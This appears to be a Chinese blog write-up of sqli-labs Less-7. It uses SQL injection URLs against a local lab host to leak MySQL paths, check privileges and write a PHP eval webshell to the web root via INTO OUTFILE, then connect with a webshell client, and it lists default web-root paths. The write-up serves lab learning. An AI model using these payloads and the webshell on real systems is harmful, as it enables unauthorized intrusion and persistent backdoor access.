sqli-labs(7)

Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)

sqlmap先跑一下
在这里插入图片描述测试应该是‘))闭合

http://192.168.1.21/sqli-labs-master/Less-7/?id=1‘)) and 1=2 --+

在这里插入图片描述
页面提示此时可以进行注入使用outfile写文件至 web 服务器
mysql 使用 into outfile 写文件需要写清绝对路径,可以使用@@datadir查询数据库存储路径,@@basedir查询mysql安装路径
我试了下,这个地方是不会正确显示的,只能从第6题找入口

http://192.168.1.21/sqli-labs-master/Less-6/?id=-1"union select 1,count(*),concat(@@datadir,floor(rand()*2))x from information_schema.tables group by x;--+

在这里插入图片描述http://192.168.1.21/sqli-labs-master/Less-6/?id=-1"union select 1,count(*),concat(@@basedir,floor(rand()*2))x from information_schema.tables group by x;--+
在这里插入图片描述
判断是不是有读写权限

 http://192.168.1.21/sql1/Less-7?id=1')) and (select count(*)from mysql.user)>0 --+

在这里插入图片描述
知道了路径和权限,上菜刀

http://192.168.1.21/sqli-labs-master/Less-7/?id=1')) union select 1,'<?php @eval($_POST["wcute"]); ?>',3into outfile "c:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\data\\8.php" --+

页面老是这样显示,我一度认为没有写进去,折腾一晚,还有就是一句话马,我手写出是有问题,复制进去就OK,尽快搞清楚原因。

在这里插入图片描述在这里插入图片描述再就是在写文件之前,.my.ini 得加上这么一行secure_file_priv =
在这里插入图片描述拿刀出来连一下子吧,好久没有用了!

http://192.168.1.21/..../Extensions/MySQL5.7.26/data/8.php
http://192.168.1.21/8.php

我拷了一个马到网站的根目录下才执行成功,这道题还有问题就是路径问题还没有解决,找资料去!
在这里插入图片描述
在这里插入图片描述

两个思路:1上传文件到网站目录,2怎样跳转到文件所在目录
http://192.168.1.21/sqli-labs-master/Less-7/?id=1')) union select 1,'<?php @eval($_POST["wcute"]); ?>',3 into outfile "c:\\phpstudy_pro\\www\\9.php" --+

在这里插入图片描述思路1成功
思路2有待学习
这里插个小扩展:

winserver的iis默认路径c:\Inetpub\wwwroot

linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等

apache 就.../var/www/htm,.../var/www/html/htdocs

phpstudy 就是...\phpstudy_pro\WWW

xammp 就是...\xampp\htdocs
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值